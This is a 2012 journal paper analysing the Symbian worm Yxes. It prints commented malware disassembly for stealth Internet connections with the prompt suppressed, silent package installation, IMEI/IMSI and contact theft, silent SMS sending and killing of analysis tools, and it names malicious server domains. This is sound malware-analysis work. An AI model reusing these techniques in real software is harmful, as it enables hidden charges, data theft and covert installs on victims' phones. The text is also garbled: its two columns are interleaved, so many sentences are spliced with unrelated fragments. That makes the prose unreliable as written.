Symbian Worm Yxes: Towards Mobile Botnets?

J Comput Virol (2012) 8:117–131 DOI 10.1007/s11416-012-0163-2

ORIGINAL PAPER

Symbian worm Yxes: towards mobile botnets?

Axelle Apvrille

Received: 20 December 2010 / Accepted: 3 April 2012 / Published online: 1 May 2012 © Springer-Verlag France 2012

Abstract In 2009, a new Symbian malware named the costs and inconveniences caused by the famous Comm- SymbOS/Yxes was detected and quickly hit the headlines Warrior worm, with 115,000 infected phones [14] and over as one of the first malware for Symbian OS 9 and above 450,000 messages [16] sent prove the matter cannot be under- all as the foretaste of a mobile botnet. Yet, detailed analy- estimated. sis of the malware were still missing. This paper addresses At the beginning of 2009, a new Symbian malware was this issue and details how the malware silently connects to detected [13]. It installed on recent and widely-deployed the Internet, installs new malware or spreads to other victims. Symbian OS 9 phones. The malware looked perfectly legiti- Each of these points are illustrated with commented assembly mate and there was no hint it might be a malware apart from code taken from the malware or re-generated Symbian API the fact it created no application icon. As it was typically con- calls. Besides those implementation aspects, the paper also nected to the word “sexy” (sexy.sisx as package name, “Sexy provides a global overview of Yxes’s behaviour. It explains View”, “Sexy Girls”, “Sexy Space” as application name etc), how malicious remote servers participate in the configuration Fortinet christened it Yxes, i.e. sexy from right to left. and propagation of the malware, including Yxes’s similari- The malware gained attention of anti-virus analysts ties with a botnet. It also tries to shed light on some incom- because it was reported to send out several SMS messages— plete or misleading statements in prior press articles. Those thus inflicting high bills to infected victims. Apart from a few statements are corrected, based on the reverse engineering more or less commercial spyware, it could also be seen as evidence previously. Finally, the paper concludes on Yxes’s the first malware for Symbian OS 9. Its ability to connect to importance and the lack of security on mobile phones. It also the Internet—a novelty in the history of mobile malware— indicates several aspects future work should focus on such also had analysts fear it might be part of a mobile botnet. as communication decryption, tools to analyze embedded With all those facts (high bills, Symbian OS 9, Internet, malware or cybercriminals motivations. botnet), no wonder it quickly made its way to IT headlines [9,11,18,39]. However, once the initial turmoil was over, only little 1 Introduction information or updates were published, and Yxes vanished out of memories... until new versions (variants E, F and G Malware for mobile phones is often regarded as a very in Fortinet’s naming convention) were again discovered, end rare disease, found in research labs by a few weird-looking of July 2009. Discussions about the new variants flourished techies. It is true that, with only 450 different mobile spe- on blogs and news for a couple of weeks and then disap- cies, they are clearly outnumbered by PC malware. The risks peared once more. As a consequence, at the time of writing have however proved not to be that insignificant because few this paper, there is barely any consistent and comprehensive mobile species does not mean few infections. For instance, study of the malware, detailing how it works and the new techniques it implements. This is what this paper wishes to A. Apvrille (B) address. Fortinet Technologies, EMEA AV Team, 120, rue Albert Caquot, 06410 Biot, France The paper is organized as follows. First, we briefly study e-mail: [email protected] Prior Art, grouping scattered information found on the net. 123 118 A. Apvrille

Then, we provide some background information on Sym- • Highly specialized (and therefore incomplete) analysis: bian S60 3rd platforms and their alleged security. The next those articles are the most technically precise, but they sections detail the paper’s findings: Sect. 4 discusses the only explain part of the behaviour of the malware. For installation process of the malware, Sect. 5 details the main example, [8] is a serious academic paper which tries tasks of the malware. For a more comprehensive approach, to understand whether Yxes is part of a botnet or not. Sect. 6 provides a global overview of all actors involved in The paper however concludes—quite honestly as a mat- malware’s execution. Finally, based on the paper’s findings, ter of fact—that it was unable to reproduce the malware’s Sect. 7 tries to clarify incomplete or misleading information expected behaviour and thus cannot answer the botnet found in Prior Art. question. It is however interesting to read because the author explains how he analyzed the malware sample with forensic tools. [3] and [2] are other partial analy- 2 State of the art sis of Yxes: those previous work focus on specific points of Yxes: the Java Server Pages of the online servers ref- Compared to other research domains, the concern for mobile erenced by Yxes and the malware’s Symbian application malware is quite new as it does not date back longer than certificates. ten years. At first, only a few hackers such as [15] seemed to care for mobile phone security. In 2004, when the first The contribution of this paper is therefore twofold. mobile worm—named Cabir—started to spread, research on It explains how the malware is being reversed, describ- mobile malware gained public interest. A good overview of ing tools and tips which should be applicable—at least the status of mobile malware up to 2007 is presented in [16]. partially—to other Symbian S60 3rd malware. The other Those papers are interesting to read for background infor- contribution consists in filling in most gaps of detailed Yxes mation, but they do not discuss the reverse engineering of analysis, so as to provide a global understanding of how Yxes mobile code. works. Reverse engineering is a difficult art though, and a Papers in reverse engineering do exist. For instance, the few details remain in the shadows: those open questions are underground group 29A wrote a very technical description explicitly mentioned in the paper, so as not to mix them with of one of their Proof on Concept malware for WinCE [1]. For facts for which we have evidence. Symbian platforms, [25] is a must-read though it is written with the intent to crack applications, which is rather differ- 3 Background ent (technically and ethically) from virus analysis. On that aspect, [40] is probably more valuable to anti-virus analysts Most smart phones currently run an operating system named as it explains how to analyze what Symbian malware do. Symbian OS (47 % of market share Q4 2008 [38]). Yxes spe- Unfortunately, it discusses platforms older than Symbian OS cifically targets Symbian OS versions 9.1 or greater which 9, and consequently tools or tricks are seldom applicable to are the most recent and—according to—represent over 15 % newer mobile phones. More recent work such as [19]or[12] of market shares (with billions of handsets in the world, this cover interesting hacks for new phones (S60 3rd edition, but is huge). Actually, Symbian OS v9.1 is an important turn also iPhones or Android) but those presentations focus on in Symbian operating systems because it introduces several discovering vulnerabilities. They do not explain what tech- new features (please see [24,28] for more details): niques current mobile malware use nor how to understand what they are doing. 1. Data caging: applications are assigned a private direc- The only few articles dedicated to the specific case of Yxes tory where they may read/write their data. This directory fall in one of the following categories: cannot be accessed by other applications. Furthermore, there are a few restrictions on system directories. For • IT news articles [9,11,18,13,39]: they sometimes pro- example, applications may only write binaries to the sys vide a good overview of Yxes, but this paper will prove directory at installation time. details or implications are often approximate—or even 2. Capabilities: similarly to other operating systems such wrong (see Sect. 7). as Linux, applications must have the necessary rights to • Anti-virus encyclopedia descriptions [29,33,37]: they are perform specific actions like connecting to the Internet meant for anti-virus customers, from end-users to system or making a phone call. Those capabilities are granted administrators. Therefore, they explain how to recognize through mandatory code signing, i.e. developers must the virus, its impact and how to get rid of it. Thus, virus send their applications to a testing and certification pro- descriptions do not explain how viruses get their dirty gram called Symbian Signed and have them signed. work done (e.g. replicate, destroy...) nor how anti-virus 3. New compiler: platforms embed a new compiler, which analysts found information. supports ARM’s new Application Binary Interface 123 Symbian worm Yxes: towards mobile botnets? 119

(EABI). The downside for developers is that former application signed, or hacked a legitimate account. The applications no longer run on Symbian OS 9. Express Signed does include a few tests such as scanning 4. New installation file format: applications are packaged applications against viruses, but of course, at that time, using a new format which implements platform security the malware was undetected by all vendors, so there was measures. no chance the application would be detected as malicious. Please refer to [2] for our previous work on Yxes’ certif- Currently, classical non-embedded operating systems do icates. Since then, certificates have been revoked, but this not offer much better security measures, so with the addi- is only checked if OCSP (Online Certificate Status Proto- tional difficulty of writing embedded code, Symbian OS was col) is enabled on the phone - which is not the case by believed to be reasonably secure. And, as a matter of fact, default. there was no known malware for Symbian OS 9 apart from For an end-user, the only suspicious issue is perhaps that Java-based malicious midlets (those midlets depend on the Yxes does not install any application icon on the phone. Java platform not on Symbian OS) [17], hacker tools dis- However, this issue is fixed in a particular version of Sym- abling data caging and capabilities [6] (those tools usually bOS/Yxes.E!worm where the sample fakes a real application prevent the phone from operating correctly, so they are cur- named Advanced Device Locks [36]. rently not used by malware, but rather, selectively, by hack- The installation process copies two binaries and a resource. ers or analysts to circumvent OS security), or more or less The binaries are copied into c:\sys\bin and run at install (RI commercial spyware [30,31]. Yxes is an important break flag). The following are extracted from the malware’s pack- through. age using a tool named SISContents [26]:

"C_sys\bin\Installer_0x20026CAA.exe"-"C:\sys\bin\Installer_0x20026CAA.exe", FR, RI, RW "C_sys\bin\MainSrv2.exe"-"C:\sys\bin\MainSrv2.exe", FR, RI "C_pri\-vate\101f875a\import\[20026CA9].rsc"-"C:\private\101f875a\import\[20026CA9].rsc"

Finally, to help the reader understand this paper, a few The first binary (Installer_xxx) is in charge of setting up additional notes should be made on Yxes itself. The name of the configuration for the malicious daemon (MainSrv2.exe). the malware varies from one anti-virus vendor to another as The reverse engineering of this executable has revealed the there is no standard naming convention. Moreover, several following steps: variants exist and denote major differences among malware samples. Currently, Fortinet identifies 7 different variants. 1. Parse the system for opened files SIS or SISX files (Sym- Other vendors may report less variants and still detect as bian packages). In particular, the Installer binary—run at many samples if their identification rules are looser. So, in installation—expects the malicious SISX file to be open, the end, a sample detected as SymbOS/Yxes.D!worm is also as an installation is currently taking place. For an analyst, named SymbOS.Exy.B elsewhere. This paper will use For- this means it is necessary to open the malicious SISX file tinet’s naming in next sections. (as if to install it) while remote debugging the installer binary, or the installer will fail. 2. Create (or overwrite) a c:\System\Data\SisInfo.cfg file. 3. Read from the SISX file a list of encrypted URLs of 4 Installation and initialization issues malicious web servers working with Yxes. The installer accesses the SISX archive file itself, not a deflated mem- This section discusses the very first steps after the mobile ory image. phone has been infected. At this stage, the malware’s Sym- 4. Decrypt the URLs (see Fig. 1): the algorithm is a simple bian package (SIS or SISX) is located on the phone’s file XOR loop with a hard-coded key (0xBF in this case). system, but it is neither installed nor running. The way it 5. Write the URLs in the SisInfo.cfg file (that file uses a managed to actually get on to the mobile phone (malware special format—for instance, the size of the URLs is propagation) is actually described later, in Sect. 6. written before the URLs). So, the first step is Yxes’s installation. From an end- user point of view, Yxes looks like any other legitimate Figure 1 shows the reverse engineering of Yxes’s installer Symbian application: the installation process runs smoothly currently running the URL decryption loop. This is a nice fea- and displays a valid signing certificate. This is possible ture supported by recent versions of IDA Pro. The debugging because the authors have managed to get Symbian sign commands are sent via USB to a small application named their application. They either created an Express Signed AppTRK [20] which is running on the phone. The setup is account under a fake identity and paid US$20 to have their nonetheless a bit touchy: the phone must not be running any 123 120 A. Apvrille

Fig. 1 IDA Pro screenshot of SymbOS/Yxes.E!worm’s installer running an XOR decryption loop security hack such as [6], the USB communication port must 3. If it does not exist, register the instance by creating a be set to 1 on the phone and left to self discovery on IDA Pro, semaphore (RSemaphore::CreateSemaphore) even if Windows reports the mobile phone on yet another port. Finally, in variants A, B, D and E, a resource is copied It should be noted that the SisInfo.cfg is an important into c:\private\101f875a\import, which is Symbian’s reserved ﬁle for Yxes: without the URLs it contains, the malware directory for resources. This is Symbian OS 9’s typical way fails to connect to its remote malicious servers. Samples to automatically restart applications on boot: the resource lacking the installer, or lacking the encrypted URLs won’t contains the path of the executable to launch. In that partic- be functional. This is the case of sexySpace.sisx (sha1: ular case, without any surprise an hexadecimal dump of the 18ad3807be3ddcd9583 2219b0d0b5fa505df4ac1) much of resource speciﬁes the malicious daemon must be run on boot the IT press relayed [10]. up.

$ hexdump -C \[20026CA9\].rsc 00000000 6b 4a 1f 10 00 00 00 00 00 00 00 00 19 fd 48 e8 |kJ...... H.| 00000010 01 38 00 01 00 02 00 17 17 21 3a 5c 73 79 73 5c |.8...... !:\sys\| 00000020 62 69 6e 5c 4d 61 69 6e 53 72 76 32 2e 65 78 65 |bin\MainSrv2.exe| 00000030 08 00 00 00 00 00 00 00 00 14 00 39 00 |...... 9.|

Once the installer has run, it is no longer used. The real 5 Malware’s main tasks executable which conveys the malicious payload is the other one. Depending on variants, its name is EConServer.exe This section looks into the real malicious payload of Yxes. (A and B), Transmitter.exe (C), BootHelper.exe or SKServer Actually, each variant shows slight differences, but globally, .exe for variant D, AcsServer.exe or MainSrv2.exe for vari- Yxes is known for communicating with remote malicious ant E, PbkPatch.exe (F) and bcast.exe (G). Note names such servers on the web (which had people fear it is a botnet), as EConServer.exe or AcsServer.exe are close to legitimate sending SMS messages without user’s consent and retriev- Symbian executables (EComServer and AccServer). ing the phone’s IMEI and IMSI ( unique device and sub- This executable makes sure a single instance of the mali- scriber identiﬁers). Additionally, some variants implement cious daemon is running on the infected device. Each time a a few “goodies” such as silent installation of other mal- new instance is run, it undergoes the following steps: ware (variants A, B, D and E), killing unwanted applications whenever they are run (variants A, B, D and E) and parsing 1. Try to open the global semaphore (RSemaphore:: phone’s contacts (variant C and F). Each task is analyzed OpenGlobal). Its name depends on the malware’s variant. in the next subsections (note the link between all tasks is 2. If the semaphore exists, exit so that a single instance runs. explained at Sect. 6). 123 Symbian worm Yxes: towards mobile botnets? 121

5.1 Internet communications Note that hiding the dialog does not require stronger privileges than the NetworkServices capability (the stan- The fact Yxes communicates with remote servers is par- dard capability to access remote services—stealth way ticularly alarming because it usually induces high bills for or not). Moreover, in Symbian’s classification, this is a end-users whose subscription does not include Internet com- “basic capability”, i.e. any application developer may munications, and also because it shows signs of an early request it. mobile botnet. However, up to now, only little details are Thus, Yxes’s Internet communications go unnoticed... known about those communications: [3] has investigated on until the end-user receives his operator’s bill. Actually, there the malicious remote servers’ side, but the malware’s side is a way to see communications take place using mobile hasn’t been analyzed yet. This is consequently what this sub- forensics tools such as [21,22] which are able to retrieve section focuses on. the device’s communications log (c:\101f401d\logdbu.dat) To communicate with the remote web servers, the malware [8]. relies on 4 main routines: Figure 2 shows the content of logdbu.dat. The EType 5 (first column) means Packet Data, direction 0 (col- 1. a routine which retrieves the phone’s Internet settings, umn 10) is for outgoing, status 2 (column 12) is for dis- 2. a routine which sets up for stealth communications, connected. All these communications correspond to silent 3. a routine which creates an HTTP request, outgoing Internet communications to Yxes’ malicious 4. and a routine which handles the response. servers. On Symbian phones, all information related to connec- Next, the malware builds the HTTP requests to send to tions is stored in the Communications database (cdbv3.dat). the remote servers. The Symbian API offers three major This database is accessible via Symbian’s database engine classes for HTTP: RHTTPSession (the HTTP client session), (DBMS) and organized in several tables. The malware RHTTPTransaction (each exchange of message between retrieves information it needs, i.e. Access Point Names the client and the server is a transaction) and the request (APN), proxy server names, proxy ports for each Internet itself, RHTTPRequest. First, an HTTP session is opened Access Point (IAP) configured on the device, by selecting (OpenL) and used throughout the malware. Then, a trans- and matching appropriate columns in tables of the Commu- action object is created by calling OpenTransactionL on the nications database (Interested readers may have a look at the session object. This method requires 3 parameters: the URI malware’s pseudo-code to retrieve the APN in Appendices). to send the request to, the method (HTTP GET by default) With those settings, the malware has all it needs to connect and a transaction callback. The URI the malware contacts to the Internet. The next step is to hide the communications depends on the malware’s variant. The assembly code below to the end-users. Normally, all web communications display is taken from SymbOS/Yxes.E!worm. It shows the malware a dialog asking the end-user to select the IAP he wants to is building a URI that contacts a Java Server Page named use. Using the settings it retrieved, Yxes manages to auto- Kernel.jsp with two parameters, the malware’s version (Ver- matically select an IAP and disables the display of the dia- sion=1.7) and the phone’s type (PhoneType=nokian95 in our log. Actually, this simply consists in setting the connection’s case). dialog preference to DoNotPrompt (TCommDbConnPref::- SetDialogPreference(ECommDbDialogPrefDoNotPrompt)).

.text:7C8C2478 SUB R0, R11, #0xAC .text:7C8C247C BL _ZN15TCommDbConnPrefC1Ev ; TCommDbConnPref constructor .text:7C8C2480 SUB R0, R11, #0xAC .text:7C8C2484 MOV R1, #3 ; ECommDbDialogPrefDoNotPrompt .text:7C8C2488 BL _ZN15TCommDbConnPref19SetDialogPreferenceE17TCommDbDialogPref ; SetDialogPreference of connection

123 122 A. Apvrille

Fig. 2 Screenshot of Paraben’s Data Seizure tool reading logdbu.dat

.text:7C8BE6C4 SUB R0, R11, #0x8C .text:7C8BE6C8 LDR R1, =asc_7C8CD40C ; "/" .text:7C8BE6CC BL _ZN6TPtrC8C1EPKh ; build a TPtrC8 with / .text:7C8BE6D0 SUB R3, R11, #0x8C .text:7C8BE6D4 SUB R0, R11, #0x74 .text:7C8BE6D8 MOV R1, R3 .text:7C8BE6DC BL _ZN5TDes86AppendERK6TDesC8 ; append / to the URL buffer .text:7C8BE6E0 SUB R0, R11, #0x8C .text:7C8BE6E4 LDR R1, =aKernel_jspVers ; "Kernel.jsp?Version=" .text:7C8BE6E8 BL _ZN6TPtrC8C1EPKh ; build a TPtrC8 .text:7C8BE6EC SUB R3, R11, #0x8C .text:7C8BE6F0 SUB R0, R11, #0x74 .text:7C8BE6F4 MOV R1, R3 .text:7C8BE6F8 BL _ZN5TDes86AppendERK6TDesC8 ; append Kernel.jsp?Version= .text:7C8BE6FC LDR R0, =a1_7 ; "1.7" .text:7C8BE700 BL sub_7C8C01E8 ; make string out of literal .text:7C8BE704 MOV R3, R0 .text:7C8BE708 SUB R0, R11, #0x74 .text:7C8BE70C MOV R1, R3 .text:7C8BE710 BL _ZN5TDes86AppendERK7TDesC16 ; append version to URL buffer .text:7C8BE714 SUB R0, R11, #0x8C .text:7C8BE718 LDR R1, =aPhone\-type ; "&Phone\-Type=" .text:7C8BE71C BL _ZN6TPtrC8C1EPKh ; TPtrC8::TPtrC8(uchar const*) .text:7C8BE720 SUB R3, R11, #0x8C .text:7C8BE724 SUB R0, R11, #0x74 .text:7C8BE728 MOV R1, R3 .text:7C8BE72C BL _ZN5TDes86AppendERK6TDesC8 ; append &PhoneType to URL buffer .text:7C8BE730 SUB R0, R11, #0x74 .text:7C8BE734 SUB R3, R11, #0x64 ; phone type in here (e.g "nokian95") .text:7C8BE738 MOV R1, R3 .text:7C8BE73C BL _ZN5TDes86AppendERK7TDesC16 ; append phone type to URL buffer

Then, the malware customizes the HTTP headers of successfully processed or not, or the response contains a its request. For instance, it sets the HTTP Accept body, i.e. additional data such as the Symbian package for header to all (*/*). Finally, when all HTTP headers or another malware (see next Sect. 5.2). In the latter, the mal- properties are set, the HTTP request is sent. This cor- ware parses the body and, if the body does not contain the responds to the SubmitL() method on the transaction string pnpause, it dumps the body in a buffer or a ﬁle on the object. phone. The malware then waits for a response. There are two It is interesting to note that the server pages reply pnpause cases: either the response is a simple acknowledge of the when they are out of service [3]. In that case, the malware request with a status indicating whether the request was can indeed trash the response.

123 Symbian worm Yxes: towards mobile botnets? 123

.text:7C8BEC90 LDR R1, =aPnpause ; "pnpause" .text:7C8BEC94 BL _ZN6TPtrC8C1EPKh ; Build a TPtrC8 out of "pnpause" .text:7C8BEC98 SUB R3, R11, #0x1C .text:7C8BEC9C LDR R0, [R11,#data] .text:7C8BECA0 MOV R1, R3 .text:7C8BECA4 BL _ZNK6TDesC84FindERKS_ ; Find pnpause (TDesC8::Find) .text:7C8BECA8 CMN R0, #1 ; negative comparison ... .text:7C8BECDC LDR R0, [R11,#var_10] .text:7C8BECE0 LDR R1, [R11,#data] .text:7C8BECE4 BL MALWARE_appendData ; append to a buffer ... .text:7C8BECEC LDR R3, [R11,#var_10] .text:7C8BECF0 ADD R0, R3, #0x28 .text:7C8BECF4 LDR R1, [R11,#var_14] .text:7C8BECF8 BL _ZN5RFile5WriteERK6TDesC8; RFile::Write(TDesC8 const&)

What it does with the downloaded body depends on the or c:\Data\kel.sisx), and then silently installed on the phone, malware’s variant. For variants A, B, D and E, the malware without the user being aware of anything at all. actually installs another malware (see Sect. 5.2). What hap- Silent installation of applications is possible since Sym- pens for variants F and G isn’t clear yet. It is possible they bian OS 9 with the SW Installer Launcher API1. The imple- never fall in that case, or that new malware settings files are mentation relies on the RSWInstSilentLauncher class. The downloaded. malware creates such an object, connects to the phone’s internal install server, installs the package and finally closes the 5.2 Silent installation of malware session with the install server. The package installation is handled by the SilentInstall method of the RSWInstSilent- In 5.1, we explained variants A, B, D and E actually download Launcher. In the assembly code below, SilentInstall is called another malware from the remote server they contact. This in MALWARE_installFilename. The routine gets the full malware is dumped into a temporary file (e.g. c:\root.sisx path name of the temporary package file and installs it.

.text:7C8BEE84 BL SWInstCli_32 ; SwiUI::RSWInstSilentLauncher constructor .text:7C8BEE88 SUB R0, R11, #0x54 ; this is an instance of RSWInstSilentLauncher .text:7C8BEE8C BL SWInstCli_31 ; SwiUI::RSWInstSilentLauncher::Connect() .text:7C8BEE90 LDR R0, =aCDataKel_sisx ; "C:\Data\kel.sisx" .text:7C8BEE94 BL MALWARE_makeDesC ; make the appropriate object out of the string .text:7C8BEE98 MOV R2, R0 ; R2 now contains the kel.sisx string .text:7C8BEE9C SUB R3, R11, #0x54 ; this is the instance of RSWInstSilentLauncher .text:7C8BEEA0 LDR R0, [R11,#var_18] .text:7C8BEEA4 MOV R1, R3 ; load the instance of RSWInstSilentLauncher in R1 .text:7C8BEEA8 BL MALWARE_installFilename ; Function that installs a SISX: .text:7C8BEEAC SUB R0, R11, #0x54 ; load the instance of RSWInstSilentLauncher in R0 .text:7C8BEEB0 BL SWInstCli_13 ; SwiUI::RSWInstSilentLauncher::Close() .text:7C8BEEB4 LDR R0, =aCDataKel_sisx ; "C:\Data\kel.sisx" .text:7C8BEEB8 BL MALWARE_makeDesC .text:7C8BEEBC MOV R3, R0 .text:7C8BEEC0 LDR R0, [R11,#var_18] .text:7C8BEEC4 MOV R1, R3 ; load filename to delete in R1 .text:7C8BEEC8 BL MALWARE_deleteFile ; delete file+

1 More precisely, the SW Installer Launcher API is available for S60 3rd edition phones, where S60 3rd refers to a speciﬁc Nokia software platform that runs on top of Symbian OS 9. Yxes will therefore not exactly run on any Symbian OS 9 phone, but on those with S60 3rd. This cannot be seen as a strong restriction, as it is the leading platform. 123 124 A. Apvrille

Readers used to IDA Pro’s output will notice the API 5.5 Sending SMS names of SW Installer Launcher are not processed (SWInst- Cli_13, SWInstCli_31, SWInstCli_32...). This is because All variants of Yxes have been reported to send SMS mes- IDA Pro 5.5 isn’t aware of that particular Symbian API as it sages. The messages contain some adult incentive to follow a is not part of the standard API but of the SDK Plugin API. link to a malicious web server from where the malware may The analyst must consequently manually resolve the names be downloaded (see Fig. 3). (or write a IDA Pro script to do it automatically). This isn’t The messages are repeatedly sent to victims located in too difﬁcult: get the SW Installer Launcher library (swinst- China or Saudi Arabia (see Fig. 4). The recipient phone cli.lib), and then dump its symbols: numbers are not taken from the victim’s contacts or in-

$ objdump --syms swinstcli.lib ... SWInstCli{000a0000}-13.o: file format elf32-little

SYMBOL TABLE: 00000000 l F StubCode 00000000 $a 00000004 l O StubCode 00000000 $d 00000000 l d StubCode 00000008 StubCode 00000000 l d *ABS* 00000000 .directive 00000004 l F StubCode 00000000 theImportedSymbol 00000000 g F StubCode 00000000 _ZN5SwiUI15RSWInstLauncher5CloseEv 00000000 *UND* 00000000 #SWInstCli{000a0000}[101f8759].dll#<\DLL>d

The number at the end of the name is the ordinal box, but from malware settings. Indeed, in our French lab, for the function in the library. So, SWInstCli_13 matches the SymbOS/Yxes!E.worm attempted to send an SMS to SwiUI::RSWInstLauncherClose. an unknown Saudi Arabian number (this number wasn’t stored in the device’s contacts). The SMS remained stuck in the Drafts box (see Fig. 5) because the phone had (safely) 5.3 Getting the IMEI and the IMSI been put offline to make sure not to infect any external device. Getting the IMEI (a unique number identifying the device) On Symbian phones, there are two different ways to send and the IMSI (a unique number identifying the subscriber) SMS messages: is a basic task all variants of Yxes implement. As this task is not particularly tricky—the Symbian API providing • the GetPhoneId() method in the CTelephony class to retrieve the low level way, down to the SMS PDUs. This is the the IMEI, and the GetSubscriberId() to retrieve the IMSI (the most complicated solution but it offers the best control. ReadDeviceData capability is required)—this paper will not Yxes creates an SMS object (CSmsMessage), then edits provide more details. For further information, [19] has published sample assembly code to retrieve the IMEI.

5.4 Parsing contacts and sending

This task has already been covered by [34] and [3], so this paper will only provide a short reminder: the C and F variants of Yxes are quite different from others, and in particular, they parse phone’s contacts. In the F variant, a routine actually exports contacts as vCards and writes the output to a ﬁle named C:\Sys- tem\Data\pbk.info. Later, when the malware contacts a malicious remote server, the content of this ﬁle is sent to a Java Server Page (named PbkInfo.jsp) along with three arguments: the phone’s type (nokian95 in our case or nokia3250 by Fig. 3 SMS message sent by SymbOS/Yxes.A!worm—credits to default), the phone’s IMEI and the phone’s IMSI. hi.baidu.com 123 Symbian worm Yxes: towards mobile botnets? 125

• the RSendAs way, only available since Symbian OS 9. It is much simpler. One ﬁrst connects to Symbian’s internal SendAs server (Connect method) and creates an object of SMS type (CreateL method). Then, one sets recipient’s phone number (AddRecipientL) and the body of the SMS (SetBodyTextL). Finally, the SMS is sent when calling SendMessageAndCloseL. See [7] for more details. Yxes uses this method too.

Yxes actually uses both methods in most variants. Note both ways send SMS silently—without any user interaction. At this point, it should be noted that, so far, SMS messages from Yxes have only been reported in Saudi Arabia Fig. 4 SMS messages sent to Saudi Arabia by SymbOS/Yxes. and China. Strangely, in other countries, none have ever been E!worm—credits to cyberinsecure.com reported, though the SMS routines are the same. This is yet a mystery. The only possible speculation relies on the fact remote malicious servers are often down and/or throw away requests coming from other countries. Therefore, the SMS routines would not be able to complete successfully.

5.6 Killing unwanted applications

Several variants of Yxes monitor notorious process for unwanted applications and kill them. The malware’s authors have probably selected those applications to complicate reverse-engineering. In particular, killing the ActiveFile file manager [35] makes anti-virus analysts’ life difficult. We were lucky to use another file manager. Let’s hope the authors do not learn about that one... Anyhow, the fact Yxes kills Fig. 5 Unproperly configured SMS message, found in the Drafts box some applications has already been reported in virus descrip- of the lab’s test phone tions [33,37]. This section rather tries to explain how they manage to do so. its header (CSmsHeader) to set the recipient’s phone num- The authors have implemented a function (named MALI- ber (SetToFromAddressL). Then, it edits a new message CIOUS_KillProcess below) which kills an application whose entry in the device’s global inbox where it writes the body name is provided as argument. They just need to call it as of the SMS. As the text contains a web link (to a malicious follows:

.text:7C8C1F80 MALICIOUS_KillApplications .text:7C8C1F80 LDR R0, =aAppmngr ; "AppMngr" .text:7C8C1F84 BL sub_7C8C3D90 ; wraps the string .text:7C8C1F88 MOV R3, R0 ; save the string is in R3 .text:7C8C1F8C LDR R0, [R11,#var_18] .text:7C8C1F90 MOV R1, R3 .text:7C8C1F94 BL MALICIOUS_KillProcess ; kills process ; whose name is "AppMngr"

web server), the text is an instance of the class CRichText. The killing function (MALICIOUS_KillApplications) Finally, commit the message to have it sent. actually proceeds as follows:

123 126 A. Apvrille

1. Convert the target application name to lower case web servers controlled by the malware author(s). The initial (TDes16::LowerCase). Store this lower case name for infection usually consists in a variant A, B, D or E of Yxes future use. (see Fig. 6). 2. Create a find handle for match pattern * (TFindHandle- Upon installation, the malware decrypts the malicious Base) remote servers’ host names (see the XOR decryption loop 3. Get the name of the next process matching the find handle in Sect. 4), and then tries to contact them. The mali- (TFindProcess::Next) cious server replies with a newer update of Yxes or 4. If getting the name of the next process returns an error dif- another variant (usually C, D, F or G). The server scripts ferent from KErrNone, then EXIT. This typically occurs make sure to select a malware which is compatible with when all process have been parsed. the victim’s phone, to ensure better propagation. This 5. Otherwise, convert the name of the process to lower case. new malware is silently installed on the victim’s phone Compare this lower case string with the lower case target (Sect. 5.2). application name (see step 1). If a variant C, D or F is downloaded, the variant actu- 6. If the names match, then open the process (RPro- ally sends phone numbers harvested on the infected phone cess::Open) and kill it (RProcess::Kill). to a specific Java Server Page on the malicious servers. 7. Loop back to step 3. Variants C and F parse the victim’s contacts and send all phone numbers.2 Variant D only sends its own phone number. 6 Global overview In parallel, the initial malware (and the new one) runs its background malicious activities such as killing specific appli- The previous section has detailed several malicious tasks of cations (Sect. 5.6). It also contacts the remote servers again. Yxes. However, it may yet be difficult to understand glob- In particular, it sends them the malware’s version number, the ally how the malware works or propagates because the link phone’s model (nokia3250, nokian95…), IMEI and IMSI. between those tasks and with the malicious remote servers It also seems the malware requests additional settings from has not been explained yet. The contribution of this section the servers. This part hasn’t been completely reversed is to put pieces together. yet, but we know the malware contacts a particular script named NumberFile.jsp which retrieves the Mobile Coun- 6.1 Actors try Code (MCC) from the victim’s phone number and returns an encrypted (or encoded) MCC-dependant file3. In an infection of Yxes, there are two actors. On one side, A sensible guess is that this file contains phone num- there is a victim, with his/her mobile phone. On the other bers of other potential victims in the same country. This side, the malware author(s): guess is backed up by the fact our test phone created SMS drafts for French phone numbers and Saudi Arabia, • controls several remote web servers. Note the malicious whereas screenshots of Yxes in China clearly show the web servers often use tricky names with letter l replaced malware only contacts other numbers in China. In that by ones, O by zeroes etc (http://www.megaup10ad.com, case, the servers also help to control malware’s propaga- www.mozi11a.com…). Especially on mobile phones - tion. The authors can target a given country or even conduct where screens’ width are small - the trick may go a DDoS on a specific phone number. Propagation control unnoticed. is also extremely handy if the malware is in a debugging • uploads the malware onto a few download servers (for phase. primo-infection). Yxes also contacts a script named TipFile.jsp, which could contain the SMS text. This guess is backed up by the fact 6.2 Infection the malicious script takes a LanguageCode parameter. This would be perfectly appropriate to customize the text’s lan- Initially, the victim gets infected by installing the malware guage. Obviously, Chinese victims are more likely to follow from a download server. Usually, the victim installs the mal- a link inside an SMS written in Chinese, English victims an ware because its package name is attractive (sexySpace.sisx, SMS written in English etc. beauty.sisx, sexy.sisx are typical names for Yxes). In an other case, Yxes has been reported to trojan a legitimate applica- 2 For variant C, this behaviour is a (sensible) guess, not a proof, because tion [10]: the victim thinks he/she is installing the legitimate the exact parts that send the contacts haven’t been identified. Code pars- application and does not know the package also includes a ing and storing the contacts into an array have been spotted, code sending malware. The victim may also install Yxes because he/she HTTP requests too, but how the contacts array is posted is yet unclear. receives an SMS redirecting him/her to one of the malicious 3 The encryption algorithm is different from the XOR loop of Sect. 4. 123 Symbian worm Yxes: towards mobile botnets? 127

but that those ﬁles are created as temporary ﬁles to contain the newly downloaded malware. So, Yxes does not replicate and, strictly speaking, it is therefore usually not considered as a virus, but merely as a malware.

6.4 Botnet or not?

Deciding whether Yxes is a botnet or not is more difficult because all communications between the malware and the remote servers haven’t been reversed yet: they are probably encrypted. The global infrastructure exists and is operational: malware instances of several victims contacting malicious web servers controlled by the malware author(s). However, this scheme lacks commands and controls. It is true the malware contacts the remote servers—which can be seen as commands—but the processing of answers is yet extremely limited: write and install a SISX file, write or update a settings file, retry because the server is unavailable. For these reasons, it seems that Yxes cannot be considered as a mobile botnet. Yet, as the propagation infrastructure is operational, this could change if the malware authors decide to store on the servers new upgraded malicious versions. Those new versions could very well implement a real command and control channel.

Fig. 6 Global overview of SymbOS/Yxes’s interactions with remote servers 7 Truth, lies... and guesses

